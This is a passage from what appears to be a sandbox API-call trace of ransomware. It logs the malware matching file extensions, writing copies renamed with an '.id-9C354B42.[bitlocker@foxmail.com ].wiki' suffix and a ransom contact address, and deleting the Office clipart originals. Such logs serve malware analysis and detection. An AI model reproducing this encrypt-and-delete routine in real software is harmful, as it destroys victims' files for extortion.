lpString2=".WMF") returned 1 [0189.886] lstrlenW (lpString=".rar") returned 4 [0189.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString=".bz2") returned 4 [0189.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString=".7z") returned 3 [0189.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString=".dbf") returned 4 [0189.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.887] lstrlenW (lpString=".1cd") returned 4 [0189.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.887] lstrlenW (lpString=".jpg") returned 4 [0189.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.887] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.887] lstrlenW (lpString="HH01875_.WMF") returned 12 [0189.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.887] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2616) returned 1 [0189.887] CloseHandle (hObject=0x1e4) returned 1 [0190.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0190.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.194] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.206] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0190.214] GetLastError () returned 0x0 [0190.220] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xa38, lpOverlapped=0x0) returned 1 [0190.222] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xa40, lpOverlapped=0x0) returned 1 [0190.223] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.223] SetEndOfFile (hFile=0x214) returned 1 [0190.223] CloseHandle (hObject=0x214) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.223] SetEndOfFile (hFile=0x1d8) returned 1 [0190.224] CloseHandle (hObject=0x1d8) returned 1 [0190.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0190.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.224] lstrlenW (lpString=".doc") returned 4 [0190.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString=".docx") returned 5 [0190.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.225] lstrlenW (lpString=".pdf") returned 4 [0190.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString=".xls") returned 4 [0190.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.225] lstrlenW (lpString=".xlsx") returned 5 [0190.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.225] lstrlenW (lpString=".ppt") returned 4 [0190.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString=".zip") returned 4 [0190.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.225] lstrlenW (lpString=".rar") returned 4 [0190.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString=".bz2") returned 4 [0190.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString=".7z") returned 3 [0190.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString=".dbf") returned 4 [0190.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString=".1cd") returned 4 [0190.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString=".jpg") returned 4 [0190.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.225] lstrlenW (lpString=".doc") returned 4 [0190.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString=".docx") returned 5 [0190.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.226] lstrlenW (lpString=".pdf") returned 4 [0190.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString=".xls") returned 4 [0190.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.226] lstrlenW (lpString=".xlsx") returned 5 [0190.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.226] lstrlenW (lpString=".ppt") returned 4 [0190.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.226] lstrlenW (lpString=".zip") returned 4 [0190.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.226] lstrlenW (lpString=".rar") returned 4 [0190.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString=".bz2") returned 4 [0190.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString=".7z") returned 3 [0190.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.226] lstrlenW (lpString=".dbf") returned 4 [0190.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.226] lstrlenW (lpString=".1cd") returned 4 [0190.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0190.226] lstrlenW (lpString=".jpg") returned 4 [0190.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.227] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.227] lstrlenW (lpString="IN00343_.WMF") returned 12 [0190.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.227] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1892) returned 1 [0190.227] CloseHandle (hObject=0x1d8) returned 1 [0190.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0190.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.227] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.227] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0190.228] GetLastError () returned 0x0 [0190.228] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x764, lpOverlapped=0x0) returned 1 [0190.230] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x770, lpOverlapped=0x0) returned 1 [0190.230] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.230] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.231] SetEndOfFile (hFile=0x214) returned 1 [0190.231] CloseHandle (hObject=0x214) returned 1 [0190.231] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.231] SetEndOfFile (hFile=0x1d8) returned 1 [0190.232] CloseHandle (hObject=0x1d8) returned 1 [0190.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.232] lstrlenW (lpString=".doc") returned 4 [0190.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.232] lstrlenW (lpString=".docx") returned 5 [0190.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.232] lstrlenW (lpString=".pdf") returned 4 [0190.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.232] lstrlenW (lpString=".xls") returned 4 [0190.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.232] lstrlenW (lpString=".xlsx") returned 5 [0190.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.232] lstrlenW (lpString=".ppt") returned 4 [0190.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.232] lstrlenW (lpString=".zip") returned 4 [0190.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.232] lstrlenW (lpString=".rar") returned 4 [0190.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.232] lstrlenW (lpString=".bz2") returned 4 [0190.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString=".7z") returned 3 [0190.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString=".dbf") returned 4 [0190.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString=".1cd") returned 4 [0190.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString=".jpg") returned 4 [0190.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString=".doc") returned 4 [0190.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString=".docx") returned 5 [0190.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.233] lstrlenW (lpString=".pdf") returned 4 [0190.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString=".xls") returned 4 [0190.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.233] lstrlenW (lpString=".xlsx") returned 5 [0190.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.233] lstrlenW (lpString=".ppt") returned 4 [0190.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.233] lstrlenW (lpString=".zip") returned 4 [0190.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.233] lstrlenW (lpString=".rar") returned 4 [0190.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.233] lstrlenW (lpString=".bz2") returned 4 [0190.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.234] lstrlenW (lpString=".7z") returned 3 [0190.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.234] lstrlenW (lpString=".dbf") returned 4 [0190.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.234] lstrlenW (lpString=".1cd") returned 4 [0190.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0190.234] lstrlenW (lpString=".jpg") returned 4 [0190.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.234] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.234] lstrlenW (lpString="IN00346_.WMF") returned 12 [0190.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.234] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=696) returned 1 [0190.235] CloseHandle (hObject=0x1d8) returned 1 [0190.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0190.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.235] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.235] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0190.235] GetLastError () returned 0x0 [0190.235] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2b8, lpOverlapped=0x0) returned 1 [0190.236] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0190.237] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.237] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.237] SetEndOfFile (hFile=0x214) returned 1 [0190.238] CloseHandle (hObject=0x214) returned 1 [0190.238] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.238] SetEndOfFile (hFile=0x1d8) returned 1 [0190.238] CloseHandle (hObject=0x1d8) returned 1 [0190.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0190.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.239] lstrlenW (lpString=".doc") returned 4 [0190.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.239] lstrlenW (lpString=".docx") returned 5 [0190.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.239] lstrlenW (lpString=".pdf") returned 4 [0190.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.239] lstrlenW (lpString=".xls") returned 4 [0190.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.239] lstrlenW (lpString=".xlsx") returned 5 [0190.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.239] lstrlenW (lpString=".ppt") returned 4 [0190.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.239] lstrlenW (lpString=".zip") returned 4 [0190.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.239] lstrlenW (lpString=".rar") returned 4 [0190.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.239] lstrlenW (lpString=".bz2") returned 4 [0190.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.239] lstrlenW (lpString=".7z") returned 3 [0190.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString=".dbf") returned 4 [0190.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString=".1cd") returned 4 [0190.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString=".jpg") returned 4 [0190.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString=".doc") returned 4 [0190.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString=".docx") returned 5 [0190.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.240] lstrlenW (lpString=".pdf") returned 4 [0190.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString=".xls") returned 4 [0190.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.240] lstrlenW (lpString=".xlsx") returned 5 [0190.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.240] lstrlenW (lpString=".ppt") returned 4 [0190.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.240] lstrlenW (lpString=".zip") returned 4 [0190.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.240] lstrlenW (lpString=".rar") returned 4 [0190.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString=".bz2") returned 4 [0190.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.240] lstrlenW (lpString=".7z") returned 3 [0190.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.241] lstrlenW (lpString=".dbf") returned 4 [0190.241] lstrcmpiW (lpString1=".dbf", 